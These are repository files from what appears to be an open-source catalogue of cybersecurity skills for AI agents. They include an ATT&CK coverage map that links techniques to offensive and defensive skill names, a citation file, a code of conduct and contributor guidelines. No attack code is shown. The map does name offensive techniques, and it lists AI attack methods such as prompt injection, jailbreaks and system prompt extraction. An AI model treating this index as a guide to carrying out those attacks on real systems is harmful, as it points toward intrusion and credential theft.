| [T1552](https://attack.mitre.org/techniques/T1552/) | `performing-cloud-incident-containment-procedures`, `performing-purple-team-atomic-testing` |
| [T1552.001](https://attack.mitre.org/techniques/T1552/001/) | `performing-credential-access-with-lazagne`, `performing-purple-team-atomic-testing` |
| [T1552.002](https://attack.mitre.org/techniques/T1552/002/) | `performing-credential-access-with-lazagne` |
| [T1552.005](https://attack.mitre.org/techniques/T1552/005/) | `conducting-cloud-penetration-testing` |
| [T1552.006](https://attack.mitre.org/techniques/T1552/006/) | `deploying-active-directory-honeytokens` |
| [T1557](https://attack.mitre.org/techniques/T1557/) | `performing-initial-access-with-evilginx3` |
| [T1557.001](https://attack.mitre.org/techniques/T1557/001/) | `conducting-internal-network-penetration-test`, `detecting-ntlm-relay-with-event-correlation`, `hunting-for-ntlm-relay-attacks` |
| [T1558](https://attack.mitre.org/techniques/T1558/) | `analyzing-windows-event-logs-in-splunk`, `conducting-pass-the-ticket-attack`, `exploiting-kerberoasting-with-impacket`, `exploiting-nopac-cve-2021-42278-42287`, `performing-lateral-movement-detection` +1 more |
| [T1558.001](https://attack.mitre.org/techniques/T1558/001/) | `analyzing-windows-event-logs-in-splunk`, `conducting-domain-persistence-with-dcsync`, `detecting-golden-ticket-attacks-in-kerberos-logs`, `detecting-golden-ticket-forgery`, `detecting-kerberoasting-attacks` +3 more |
| [T1558.002](https://attack.mitre.org/techniques/T1558/002/) | `performing-active-directory-compromise-investigation` |
| [T1558.003](https://attack.mitre.org/techniques/T1558/003/) | `analyzing-windows-event-logs-in-splunk`, `building-attack-pattern-library-from-cti-reports`, `conducting-full-scope-red-team-engagement`, `conducting-internal-network-penetration-test`, `deploying-active-directory-honeytokens` +12 more |
| [T1558.004](https://attack.mitre.org/techniques/T1558/004/) | `detecting-kerberoasting-attacks` |
| [T1649](https://attack.mitre.org/techniques/T1649/) | `exploiting-active-directory-certificate-services-esc1` |
---
## 🗺️ Discovery
**20 techniques covered**
| Technique | Skills |
|:----------|:-------|
| [T1016](https://attack.mitre.org/techniques/T1016/) | `conducting-full-scope-red-team-engagement`, `conducting-internal-reconnaissance-with-bloodhound-ce`, `exploiting-active-directory-with-bloodhound`, `performing-purple-team-atomic-testing` |
| [T1018](https://attack.mitre.org/techniques/T1018/) | `conducting-full-scope-red-team-engagement`, `conducting-internal-reconnaissance-with-bloodhound-ce`, `detecting-network-scanning-with-ids-signatures`, `exploiting-active-directory-with-bloodhound`, `performing-active-directory-bloodhound-analysis` |
| [T1033](https://attack.mitre.org/techniques/T1033/) | `conducting-internal-reconnaissance-with-bloodhound-ce`, `detecting-privilege-escalation-attempts`, `exploiting-active-directory-with-bloodhound`, `performing-purple-team-atomic-testing` |
| [T1040](https://attack.mitre.org/techniques/T1040/) | `implementing-continuous-security-validation-with-bas` |
| [T1046](https://attack.mitre.org/techniques/T1046/) | `detecting-network-scanning-with-ids-signatures`, `detecting-privilege-escalation-attempts`, `performing-packet-injection-attack`, `triaging-security-incident` |
| [T1049](https://attack.mitre.org/techniques/T1049/) | `performing-purple-team-atomic-testing` |
| [T1057](https://attack.mitre.org/techniques/T1057/) | `performing-purple-team-atomic-testing` |
| [T1069](https://attack.mitre.org/techniques/T1069/) | `performing-purple-team-atomic-testing` |
| [T1069.001](https://attack.mitre.org/techniques/T1069/001/) | `performing-active-directory-bloodhound-analysis`, `performing-purple-team-atomic-testing` |
| [T1069.002](https://attack.mitre.org/techniques/T1069/002/) | `conducting-internal-reconnaissance-with-bloodhound-ce`, `exploiting-active-directory-with-bloodhound`, `performing-active-directory-bloodhound-analysis`, `performing-kerberoasting-attack`, `performing-purple-team-atomic-testing` |
| [T1082](https://attack.mitre.org/techniques/T1082/) | `conducting-full-scope-red-team-engagement`, `performing-purple-team-atomic-testing` |
| [T1083](https://attack.mitre.org/techniques/T1083/) | `implementing-canary-tokens-for-network-intrusion`, `performing-purple-team-atomic-testing` |
| [T1087](https://attack.mitre.org/techniques/T1087/) | `conducting-full-scope-red-team-engagement`, `executing-red-team-engagement-planning`, `implementing-continuous-security-validation-with-bas`, `performing-purple-team-atomic-testing` |
| [T1087.001](https://attack.mitre.org/techniques/T1087/001/) | `performing-purple-team-atomic-testing` |
| [T1087.002](https://attack.mitre.org/techniques/T1087/002/) | `conducting-internal-reconnaissance-with-bloodhound-ce`, `deploying-active-directory-honeytokens`, `exploiting-active-directory-certificate-services-esc1`, `exploiting-active-directory-with-bloodhound`, `exploiting-kerberoasting-with-impacket` +3 more |
| [T1087.004](https://attack.mitre.org/techniques/T1087/004/) | `detecting-azure-service-principal-abuse`, `implementing-mitre-attack-coverage-mapping` |
| [T1482](https://attack.mitre.org/techniques/T1482/) | `conducting-internal-reconnaissance-with-bloodhound-ce`, `exploiting-active-directory-with-bloodhound`, `performing-active-directory-bloodhound-analysis` |
| [T1518](https://attack.mitre.org/techniques/T1518/) | `performing-purple-team-atomic-testing` |
| [T1518.001](https://attack.mitre.org/techniques/T1518/001/) | `performing-purple-team-atomic-testing` |
| [T1580](https://attack.mitre.org/techniques/T1580/) | `implementing-mitre-attack-coverage-mapping` |
---
## ↔️ Lateral Movement
**9 techniques covered**
| Technique | Skills |
|:----------|:-------|
| [T1021](https://attack.mitre.org/techniques/T1021/) | `detecting-lateral-movement-in-network`, `detecting-lateral-movement-with-splunk`, `detecting-service-account-abuse`, `executing-red-team-engagement-planning`, `exploiting-constrained-delegation-abuse` +10 more |
| [T1021.001](https://attack.mitre.org/techniques/T1021/001/) | `analyzing-campaign-attribution-evidence`, `analyzing-windows-event-logs-in-splunk`, `building-attack-pattern-library-from-cti-reports`, `building-detection-rule-with-splunk-spl`, `building-threat-hunt-hypothesis-framework` +8 more |
| [T1021.002](https://attack.mitre.org/techniques/T1021/002/) | `analyzing-windows-event-logs-in-splunk`, `building-attack-pattern-library-from-cti-reports`, `building-detection-rule-with-splunk-spl`, `conducting-full-scope-red-team-engagement`, `conducting-internal-network-penetration-test` +10 more |
| [T1021.003](https://attack.mitre.org/techniques/T1021/003/) | `detecting-lateral-movement-with-splunk`, `hunting-for-dcom-lateral-movement`, `performing-lateral-movement-detection`, `performing-lateral-movement-with-wmiexec`, `performing-purple-team-atomic-testing` |
| [T1021.004](https://attack.mitre.org/techniques/T1021/004/) | `detecting-lateral-movement-with-splunk`, `performing-purple-team-atomic-testing` |
| [T1021.006](https://attack.mitre.org/techniques/T1021/006/) | `building-attack-pattern-library-from-cti-reports`, `detecting-lateral-movement-with-splunk`, `performing-lateral-movement-detection`, `performing-purple-team-atomic-testing` |
| [T1210](https://attack.mitre.org/techniques/T1210/) | `exploiting-ms17-010-eternalblue-vulnerability`, `exploiting-zerologon-vulnerability-cve-2020-1472` |
| [T1534](https://attack.mitre.org/techniques/T1534/) | `implementing-mitre-attack-coverage-mapping` |
| [T1570](https://attack.mitre.org/techniques/T1570/) | `detecting-lateral-movement-in-network`, `detecting-lateral-movement-with-splunk`, `performing-lateral-movement-with-wmiexec`, `performing-purple-team-atomic-testing` |
---
## 📦 Collection
**13 techniques covered**
| Technique | Skills |
|:----------|:-------|
| [T1005](https://attack.mitre.org/techniques/T1005/) | `conducting-malware-incident-response`, `detecting-container-escape-with-falco-rules`, `performing-purple-team-atomic-testing` |
| [T1039](https://attack.mitre.org/techniques/T1039/) | `performing-purple-team-atomic-testing` |
| [T1074](https://attack.mitre.org/techniques/T1074/) | `building-attack-pattern-library-from-cti-reports`, `executing-red-team-exercise`, `hunting-for-data-staging-before-exfiltration` |
| [T1074.001](https://attack.mitre.org/techniques/T1074/001/) | `hunting-for-data-staging-before-exfiltration`, `performing-purple-team-atomic-testing` |
| [T1074.002](https://attack.mitre.org/techniques/T1074/002/) | `hunting-for-data-staging-before-exfiltration` |
| [T1113](https://attack.mitre.org/techniques/T1113/) | `performing-purple-team-atomic-testing` |
| [T1114.002](https://attack.mitre.org/techniques/T1114/002/) | `detecting-email-forwarding-rules-attack` |
| [T1114.003](https://attack.mitre.org/techniques/T1114/003/) | `detecting-business-email-compromise`, `detecting-email-forwarding-rules-attack` |
| [T1115](https://attack.mitre.org/techniques/T1115/) | `performing-purple-team-atomic-testing` |
| [T1213](https://attack.mitre.org/techniques/T1213/) | `conducting-full-scope-red-team-engagement` |
| [T1530](https://attack.mitre.org/techniques/T1530/) | `detecting-insider-threat-behaviors`, `implementing-mitre-attack-coverage-mapping`, `performing-cloud-incident-containment-procedures` |
| [T1560](https://attack.mitre.org/techniques/T1560/) | `conducting-full-scope-red-team-engagement`, `hunting-for-data-staging-before-exfiltration` |
| [T1560.001](https://attack.mitre.org/techniques/T1560/001/) | `hunting-for-data-staging-before-exfiltration`, `performing-purple-team-atomic-testing` |
---
## 📡 Command and Control
**20 techniques covered**
| Technique | Skills |
|:----------|:-------|
| [T1071](https://attack.mitre.org/techniques/T1071/) | `analyzing-apt-group-with-mitre-navigator`, `analyzing-network-covert-channels-in-malware`, `analyzing-ransomware-network-indicators`, `analyzing-threat-actor-ttps-with-mitre-attack`, `hunting-advanced-persistent-threats` +6 more |
| [T1071.001](https://attack.mitre.org/techniques/T1071/001/) | `analyzing-apt-group-with-mitre-navigator`, `analyzing-campaign-attribution-evidence`, `analyzing-powershell-empire-artifacts`, `analyzing-powershell-script-block-logging`, `building-attack-pattern-library-from-cti-reports` +13 more |
| [T1071.004](https://attack.mitre.org/techniques/T1071/004/) | `building-attack-pattern-library-from-cti-reports`, `building-c2-infrastructure-with-sliver-framework`, `hunting-for-beaconing-with-frequency-analysis`, `hunting-for-command-and-control-beaconing`, `hunting-for-dns-tunneling-with-zeek` +3 more |
| [T1090](https://attack.mitre.org/techniques/T1090/) | `implementing-mitre-attack-coverage-mapping`, `performing-purple-team-atomic-testing` |
| [T1090.001](https://attack.mitre.org/techniques/T1090/001/) | `performing-purple-team-atomic-testing` |
| [T1090.002](https://attack.mitre.org/techniques/T1090/002/) | `building-c2-infrastructure-with-sliver-framework`, `building-red-team-c2-infrastructure-with-havoc` |
| [T1090.004](https://attack.mitre.org/techniques/T1090/004/) | `hunting-for-domain-fronting-c2-traffic` |
| [T1095](https://attack.mitre.org/techniques/T1095/) | `hunting-for-command-and-control-beaconing`, `hunting-for-unusual-network-connections` |
| [T1102](https://attack.mitre.org/techniques/T1102/) | `hunting-for-living-off-the-cloud-techniques` |
| [T1105](https://attack.mitre.org/techniques/T1105/) | `analyzing-powershell-script-block-logging`, `building-attack-pattern-library-from-cti-reports`, `building-c2-infrastructure-with-sliver-framework`, `building-red-team-c2-infrastructure-with-havoc`, `detecting-fileless-attacks-on-endpoints` +7 more |
| [T1132](https://attack.mitre.org/techniques/T1132/) | `hunting-for-command-and-control-beaconing`, `performing-purple-team-atomic-testing` |
| [T1132.001](https://attack.mitre.org/techniques/T1132/001/) | `building-c2-infrastructure-with-sliver-framework`, `performing-purple-team-atomic-testing` |
| [T1219](https://attack.mitre.org/techniques/T1219/) | `performing-purple-team-atomic-testing` |
| [T1568](https://attack.mitre.org/techniques/T1568/) | `hunting-for-command-and-control-beaconing`, `implementing-mitre-attack-coverage-mapping` |
| [T1568.002](https://attack.mitre.org/techniques/T1568/002/) | `hunting-for-beaconing-with-frequency-analysis` |
| [T1571](https://attack.mitre.org/techniques/T1571/) | `hunting-for-unusual-network-connections`, `implementing-mitre-attack-coverage-mapping` |
| [T1572](https://attack.mitre.org/techniques/T1572/) | `building-c2-infrastructure-with-sliver-framework`, `hunting-for-command-and-control-beaconing`, `hunting-for-dns-tunneling-with-zeek`, `implementing-mitre-attack-coverage-mapping` |
| [T1573](https://attack.mitre.org/techniques/T1573/) | `analyzing-ransomware-network-indicators`, `hunting-for-beaconing-with-frequency-analysis`, `hunting-for-command-and-control-beaconing`, `implementing-mitre-attack-coverage-mapping`, `performing-purple-team-atomic-testing` |
| [T1573.001](https://attack.mitre.org/techniques/T1573/001/) | `performing-purple-team-atomic-testing` |
| [T1573.002](https://attack.mitre.org/techniques/T1573/002/) | `building-c2-infrastructure-with-sliver-framework`, `building-red-team-c2-infrastructure-with-havoc` |
---
## 📤 Exfiltration
**12 techniques covered**
| Technique | Skills |
|:----------|:-------|
| [T1020](https://attack.mitre.org/techniques/T1020/) | `hunting-for-data-exfiltration-indicators` |
| [T1029](https://attack.mitre.org/techniques/T1029/) | `hunting-for-data-exfiltration-indicators` |
| [T1030](https://attack.mitre.org/techniques/T1030/) | `hunting-for-data-exfiltration-indicators` |
| [T1041](https://attack.mitre.org/techniques/T1041/) | `analyzing-campaign-attribution-evidence`, `analyzing-ransomware-network-indicators`, `building-attack-pattern-library-from-cti-reports`, `conducting-full-scope-red-team-engagement`, `conducting-malware-incident-response` +6 more |
| [T1048](https://attack.mitre.org/techniques/T1048/) | `building-attack-pattern-library-from-cti-reports`, `building-detection-rule-with-splunk-spl`, `conducting-full-scope-red-team-engagement`, `hunting-for-data-exfiltration-indicators`, `implementing-continuous-security-validation-with-bas` +2 more |
| [T1048.001](https://attack.mitre.org/techniques/T1048/001/) | `hunting-for-data-exfiltration-indicators` |
| [T1048.002](https://attack.mitre.org/techniques/T1048/002/) | `hunting-for-data-exfiltration-indicators` |
| [T1048.003](https://attack.mitre.org/techniques/T1048/003/) | `conducting-full-scope-red-team-engagement`, `hunting-for-data-exfiltration-indicators`, `hunting-for-dns-tunneling-with-zeek`, `implementing-continuous-security-validation-with-bas`, `implementing-mitre-attack-coverage-mapping` +2 more |
| [T1052](https://attack.mitre.org/techniques/T1052/) | `hunting-for-data-exfiltration-indicators` |
| [T1537](https://attack.mitre.org/techniques/T1537/) | `hunting-for-data-exfiltration-indicators`, `hunting-for-living-off-the-cloud-techniques`, `implementing-mitre-attack-coverage-mapping`, `implementing-threat-modeling-with-mitre-attack`, `performing-cloud-incident-containment-procedures` |
| [T1567](https://attack.mitre.org/techniques/T1567/) | `detecting-insider-threat-behaviors`, `hunting-for-data-exfiltration-indicators`, `hunting-for-living-off-the-cloud-techniques`, `implementing-continuous-security-validation-with-bas`, `performing-purple-team-atomic-testing` |
| [T1567.002](https://attack.mitre.org/techniques/T1567/002/) | `hunting-for-data-exfiltration-indicators`, `performing-purple-team-atomic-testing` |
---
## 💥 Impact
**6 techniques covered**
| Technique | Skills |
|:----------|:-------|
| [T1485](https://attack.mitre.org/techniques/T1485/) | `hunting-for-shadow-copy-deletion`, `performing-purple-team-atomic-testing` |
| [T1486](https://attack.mitre.org/techniques/T1486/) | `analyzing-ransomware-network-indicators`, `building-attack-pattern-library-from-cti-reports`, `building-threat-hunt-hypothesis-framework`, `conducting-full-scope-red-team-engagement`, `hunting-for-shadow-copy-deletion` +7 more |
| [T1489](https://attack.mitre.org/techniques/T1489/) | `conducting-full-scope-red-team-engagement`, `performing-purple-team-atomic-testing` |
| [T1490](https://attack.mitre.org/techniques/T1490/) | `building-soc-playbook-for-ransomware`, `hunting-for-shadow-copy-deletion`, `performing-purple-team-atomic-testing`, `performing-purple-team-exercise` |
| [T1491](https://attack.mitre.org/techniques/T1491/) | `performing-purple-team-atomic-testing` |
| [T1491.002](https://attack.mitre.org/techniques/T1491/002/) | `performing-purple-team-atomic-testing` |
---
## 🔧 Other / Cross-Tactic Techniques
| Technique | Skills |
|:----------|:-------|
| T0157 | `exploiting-kerberoasting-with-impacket` |
| T0200 | `building-vulnerability-scanning-workflow`, `performing-authenticated-scan-with-openvas` |
| T0802 | `detecting-attacks-on-historian-servers` |
| T0809 | `detecting-attacks-on-historian-servers` |
| T0814 | `detecting-modbus-command-injection-attacks` |
| T0816 | `detecting-dnp3-protocol-anomalies` |
| T0830 | `detecting-modbus-protocol-anomalies` |
| T0831 | `detecting-modbus-protocol-anomalies` |
| T0832 | `detecting-attacks-on-historian-servers` |
| T0833 | `detecting-stuxnet-style-attacks` |
| T0836 | `detecting-modbus-command-injection-attacks`, `detecting-modbus-protocol-anomalies`, `detecting-stuxnet-style-attacks` |
| T0839 | `detecting-dnp3-protocol-anomalies`, `detecting-stuxnet-style-attacks` |
| T0843 | `detecting-modbus-command-injection-attacks`, `performing-s7comm-protocol-security-analysis` |
| T0847 | `detecting-stuxnet-style-attacks` |
| T0855 | `detecting-dnp3-protocol-anomalies`, `detecting-modbus-command-injection-attacks`, `detecting-modbus-protocol-anomalies` |
| T0856 | `detecting-stuxnet-style-attacks` |
| T0862 | `detecting-stuxnet-style-attacks` |
| T0866 | `detecting-stuxnet-style-attacks` |
| T0869 | `detecting-dnp3-protocol-anomalies` |
| T0881 | `performing-s7comm-protocol-security-analysis` |
| T0886 | `detecting-modbus-protocol-anomalies` |
| T1404 | `analyzing-android-malware-with-apktool` |
| T1417 | `analyzing-android-malware-with-apktool` |
| T1418 | `analyzing-android-malware-with-apktool` |
| T1553.006 | `analyzing-uefi-bootkit-persistence` |
| T1555 | `performing-credential-access-with-lazagne`, `performing-purple-team-atomic-testing` |
| T1555.003 | `performing-credential-access-with-lazagne`, `performing-purple-team-atomic-testing` |
| T1555.004 | `performing-credential-access-with-lazagne` |
| T1578 | `performing-cloud-incident-containment-procedures` |
| T1582 | `analyzing-android-malware-with-apktool` |
| T1611 | `detecting-container-escape-attempts`, `detecting-container-escape-with-falco-rules` |
| T1615 | `conducting-internal-reconnaissance-with-bloodhound-ce`, `exploiting-active-directory-with-bloodhound`, `performing-active-directory-bloodhound-analysis` |
| T1620 | `detecting-fileless-attacks-on-endpoints` |
| T5577 | `performing-physical-intrusion-assessment` |
---
## How This Was Generated
This coverage map was automatically generated by scanning all 753+ SKILL.md and agent.py files for MITRE ATT&CK technique IDs (pattern: `T####` and `T####.###`). Each technique was mapped to its parent tactic using the [MITRE ATT&CK Enterprise Matrix v16](https://attack.mitre.org/matrices/enterprise/).
To regenerate: `python3 extract_attack.py`
---
## MITRE ATLAS Coverage (v5.5.0)
81 skills mapped to ATLAS adversarial ML techniques.
Key techniques applied:
- AML.T0051 — LLM Prompt Injection (Execution)
- AML.T0054 — LLM Jailbreak (Privilege Escalation)
- AML.T0088 — Generate Deepfakes (AI Attack Staging)
- AML.T0010 — AI Supply Chain Compromise (Initial Access)
- AML.T0020 — Poison Training Data (Resource Development)
- AML.T0070 — RAG Poisoning (Persistence)
- AML.T0080 — AI Agent Context Poisoning (Persistence)
- AML.T0056 — Extract LLM System Prompt (Exfiltration)
## MITRE D3FEND Coverage (v1.3)
11 skills mapped to D3FEND defensive countermeasures.
Countermeasures applied span D3FEND tactical categories:
Harden, Detect, Isolate, Deceive, Evict, Restore.
Each skill's d3fend_techniques field lists the top 5 most relevant
defensive countermeasures derived from the skill's ATT&CK technique tags.
## NIST AI RMF Coverage (AI 100-1)
85 skills mapped to NIST AI Risk Management Framework subcategories.
Core functions covered:
- GOVERN: Organizational accountability for AI risk (GOVERN-1.1, GOVERN-6.1, GOVERN-6.2)
- MAP: AI risk identification and context (MAP-5.1, MAP-5.2, MAP-1.6)
- MEASURE: AI risk analysis and evaluation (MEASURE-2.5, MEASURE-2.7, MEASURE-2.8, MEASURE-2.11)
- MANAGE: AI risk response and recovery (MANAGE-2.4, MANAGE-3.1)
GenAI-specific subcategories applied: GOVERN-6.1, GOVERN-6.2 (responsible deployment policies).
---
<p align="center">
<sub>Part of <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills">Anthropic Cybersecurity Skills</a> — 817 open-source cybersecurity skills for AI agents</sub>
</p>

View File

@@ -0,0 +1,32 @@
cff-version: 1.2.0
message: "If you use this repository in your research, tools, or publications, please cite it as below."
type: software
title: "Anthropic-Cybersecurity-Skills"
abstract: >
A structured collection of 817 cybersecurity skills for AI agents, covering
penetration testing, digital forensics, threat intelligence, incident response,
cloud security, OT/SCADA security, AI security, and more. Each skill follows
a standardized format with YAML frontmatter metadata, step-by-step procedures,
tool commands, expected outputs, and MITRE ATT&CK mappings. Compatible with
Claude Code, GitHub Copilot, Cursor, Windsurf, Gemini CLI, and 20+ AI agent
platforms.
authors:
- name: "Mahipal"
email: mukuljangra5@gmail.com
alias: mukul975
repository-code: "https://github.com/mukul975/Anthropic-Cybersecurity-Skills"
url: "https://github.com/mukul975/Anthropic-Cybersecurity-Skills"
license: Apache-2.0
version: "1.1.0"
date-released: "2026-03-21"
keywords:
- cybersecurity
- AI agents
- skills
- penetration testing
- digital forensics
- threat intelligence
- incident response
- MITRE ATT&CK
- Claude Code
- open source

View File

@@ -0,0 +1,83 @@
# Contributor Covenant Code of Conduct
## Our Pledge
We as members, contributors, and leaders pledge to make participation in our community a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, caste, color, religion, or sexual identity and orientation.
We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community.
## Our Standards
Examples of behavior that contributes to a positive environment for our community include:
* Demonstrating empathy and kindness toward other people
* Being respectful of differing opinions, viewpoints, and experiences
* Giving and gracefully accepting constructive feedback
* Accepting responsibility and apologizing to those affected by our mistakes, and learning from the experience
* Focusing on what is best not just for us as individuals, but for the overall community
Examples of unacceptable behavior include:
* The use of sexualized language or imagery, and sexual attention or advances of any kind
* Trolling, insulting or derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or email address, without their explicit permission
* Other conduct which could reasonably be considered inappropriate in a professional setting
## Enforcement Responsibilities
Community leaders are responsible for clarifying and enforcing our standards of acceptable behavior and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, or harmful.
Community leaders have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, and will communicate reasons for moderation decisions when appropriate.
## Scope
This Code of Conduct applies within all community spaces, and also applies when an individual is officially representing the community in public spaces. Examples of representing our community include using an official e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the community leaders responsible for enforcement at mukuljangra5@gmail.com. All complaints will be reviewed and investigated promptly and fairly.
All community leaders are obligated to respect the privacy and security of the reporter of any incident.
## Enforcement Guidelines
Community leaders will follow these Community Impact Guidelines in determining the consequences for any action they deem in violation of this Code of Conduct:
### 1. Correction
**Community Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome in the community.
**Consequence**: A private, written warning from community leaders, providing clarity around the nature of the violation and an explanation of why the behavior was inappropriate. A public apology may be requested.
### 2. Warning
**Community Impact**: A violation through a single incident or series of actions.
**Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. This includes avoiding interactions in community spaces as well as external channels like social media. Violating these terms may lead to a temporary or permanent ban.
### 3. Temporary Ban
**Community Impact**: A serious violation of community standards, including sustained inappropriate behavior.
**Consequence**: A temporary ban from any sort of interaction or public communication with the community for a specified period of time. No public or private interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, is allowed during this period. Violating these terms may lead to a permanent ban.
### 4. Permanent Ban
**Community Impact**: Demonstrating a pattern of violation of community standards, including sustained inappropriate behavior, harassment of an individual, or aggression toward or disparagement of classes of individuals.
**Consequence**: A permanent ban from any sort of public interaction within the community.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.1, available at [https://www.contributor-covenant.org/version/2/1/code_of_conduct.html][v2.1].
Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder][Mozilla CoC].
For answers to common questions about this code of conduct, see the FAQ at [https://www.contributor-covenant.org/faq][FAQ]. Translations are available at [https://www.contributor-covenant.org/translations][translations].
[homepage]: https://www.contributor-covenant.org
[v2.1]: https://www.contributor-covenant.org/version/2/1/code_of_conduct.html
[Mozilla CoC]: https://github.com/mozilla/diversity
[FAQ]: https://www.contributor-covenant.org/faq
[translations]: https://www.contributor-covenant.org/translations

View File

@@ -0,0 +1,196 @@
# Contributing to Anthropic-Cybersecurity-Skills
Before you start, read [SCOPE.md](SCOPE.md). It defines what belongs in this catalogue and what does not, and it will save you building something I have to decline.
Most of the policy below is new. Until now this file said nothing about scope, overlap, disclosure or pull-request size, and the absence of those rules is why several well-made contributions ended up somewhere I could not merge them. That is my failure to document, not anyone's failure to read. **These rules apply to pull requests opened from here on.** Anything already open will be reviewed as it was filed.
## How to add a new skill
1. Create a new directory: `skills/your-skill-name/`
2. Add a `SKILL.md` file with required YAML frontmatter:
```yaml
---
name: your-skill-name
description: >-
What the skill does, in one sentence naming the real tools and artefacts.
Use when THE TRIGGER CONDITION HOLDS. Keywords: tool, flag, artefact.
Do not use for THE ADJACENT TASK - use the-other-skill-name.
domain: cybersecurity
subdomain: threat-hunting
tags: [tag1, tag2, tag3]
version: "1.0"
author: your-github-username
license: Apache-2.0
---
```
`subdomain` is a single value, not a list — `subdomain: [threat-hunting]` is a YAML list and will fail validation. `name` must equal the directory name. Frontmatter values may not contain `<` or `>`.
3. Write clear, step-by-step instructions in the Markdown body using these sections:
- ## When to Use
- ## Prerequisites
- ## Workflow (numbered steps with real commands)
- ## Key Concepts (table)
- ## Tools & Systems
- ## Common Scenarios
- ## Output Format
4. (Optional) Add supporting files:
- `references/standards.md` — Real standard numbers, CVE refs, NIST/MITRE links
- `references/workflows.md` — Deep technical procedure
- `scripts/process.py` — Real working helper script
- `assets/template.md` — Real filled-in checklist/template
5. Submit a PR with title: `Add skill: your-skill-name`
## Skill quality checklist
- [ ] Name is lowercase with hyphens (kebab-case), 1–64 characters
- [ ] Description is clear and includes agent-discovery keywords
- [ ] Instructions are actionable with real commands and tool names
- [ ] Domain and subdomain are set correctly
- [ ] Tags include relevant tools, frameworks, and techniques
## Writing the description
The description is the only text an agent sees when it decides whether to load your skill. Everything else in the file is invisible at that moment. Four things have to be in it:
1. **What it does** — the procedure, the real tools, the real artefacts.
2. **When to fire** — an explicit `Use when …` clause.
3. **Keywords** — the flags, event IDs, file names and tool names someone would actually search for.
4. **When *not* to fire** — a `Do not use for …` clause that names the nearest neighbouring skill by slug.
A worked example, the current description of `scanning-docker-images-with-trivy`:
> Scans a Docker image with Trivy for vulnerabilities in OS packages and language dependencies, misconfiguration, exposed secrets, and licence violations, emitting SARIF, CycloneDX, or SPDX output. Use when scanning or gating a specific image, wiring an image scan into CI/CD, or checking an image during an incident investigation. Keywords: Trivy, image scan, --severity, --exit-code, SARIF, ignore file, .trivyignore. Do not use for cluster-wide scanning or non-image targets - use performing-container-security-scanning-with-trivy; when the toolchain is Grype use scanning-container-images-with-grype.
The linter enforces the mechanical parts: 1024 characters maximum, terminal punctuation, a trigger clause, a negative trigger, and a 500-line cap on the file. Roughly 980 pre-existing failures are grandfathered in `tools/lint-baseline.json` so the gate blocks new debt only. That baseline may shrink and may never grow, which means a new skill has to meet the standard even though many old ones do not yet.
## Before you open a pull request
Run the validators locally. All five run in CI on every push and pull request that touches `skills/` or `tools/` — which any skill PR does — and all five have to be green before I can merge. A PR that changes only documentation does not trigger them at all, so an empty checks list there is not a pass.
```bash
pip install pyyaml # the only external dependency
python tools/validate-skill.py skills/your-skill-name/ # frontmatter, this skill
python tools/lint-descriptions.py skills/your-skill-name/ # description quality, this skill
python tools/validate-agentskills.py --strict # conformance, whole repo
python tools/detect-collisions.py # near-duplicates, whole repo
python tools/generate-index.py # regenerate index.json
```
Three things that catch people out:
- **Two of those commands are repo-wide.** `validate-agentskills.py` and `detect-collisions.py` have no single-skill mode, so a failure they report may belong to a skill you never touched. Check the slug in the output before assuming it is yours.
- **`index.json` is generated, and the PR must carry the regenerated file.** It is refreshed automatically on `main`, but not on your branch, and the freshness gate runs at PR time. If you touched a description and did not commit the regenerated `index.json`, the build fails.
- **The collision gate is a ratchet, currently sitting exactly at its ceiling.** One new near-duplicate pair fails the build. The cap CI enforces lives in `.github/workflows/validate-skills.yml` and gets lowered as disambiguation lands — read it from there rather than memorising a number.
## One skill per pull request
Open one pull request per skill.
Each skill is reviewed for technical accuracy — whether the flags exist, whether the output format is real, whether the procedure works on the version you claim. That review does not batch. In a ten-skill pull request, one wrong procedure holds up nine good ones, and the whole thing tends to stall.
A PR that adds more than one skill directory will be asked to split. It is not a judgement on the work; it is the only way I can land the good parts quickly. The exception is a mechanical repo-wide change — a lint sweep, a metadata fix across many files — which is fine in one PR as long as the description says plainly what the change is and that nothing else varies.
## Overlap with an existing skill
The catalogue currently has 55 unreviewed near-duplicate description pairs, involving 94 of the 817 skills. Overlapping descriptions are not a cosmetic problem: when two descriptions look alike, the agent picks the wrong one, and both skills get less useful.
Until that backlog is worked down, **a new skill that overlaps an existing one will usually be asked to extend the existing skill instead.** Adding depth to `performing-firmware-extraction-with-binwalk` is worth more to this catalogue right now than a second firmware-extraction skill beside it. That redirect is about where the work lands, not about its quality — an extension PR carries the same authorship and gets the same credit.
Before you write a new skill:
1. Search `index.json` for the tool, the technique and the artefact.
2. Run `python tools/detect-collisions.py` and see whether your intended description lands near anything.
3. If something close exists, open an issue proposing the extension, or send a PR against the existing skill.
If the overlap is real but the skills genuinely need to stay separate — different operating system, different tool, different stage of the same investigation — say so in the PR and make both descriptions name the other explicitly. That is how the split is recorded, and it is what `tools/collision-allowlist.json` is for.
## Review and response
I review every pull request myself, and the queue is currently longer than I would like. Small, focused PRs move fastest.
If a PR gets a review request and then goes quiet for 14 days, I may close it as stale. That is housekeeping, not rejection: your branch and your work are untouched, and a single comment reopens the conversation whenever you are ready to pick it up.
## Disclosure
### Self-promotion and vendor links
No undisclosed self-links. If a skill, a reference file, a README entry or a script links to a product, service, repository or domain you are involved with, say so in the PR. A link that exists to send traffic somewhere rather than to help the reader complete the procedure will be removed.
Many skills legitimately cover commercial tools, including ones with no free tier at all. That is fine — the procedure is the point. What is required of vendor-specific content is:
- **Honesty about cost.** If the procedure needs a paid licence, an enterprise appliance or a sales conversation, say so in `## Prerequisites` rather than letting a reader find out at step six.
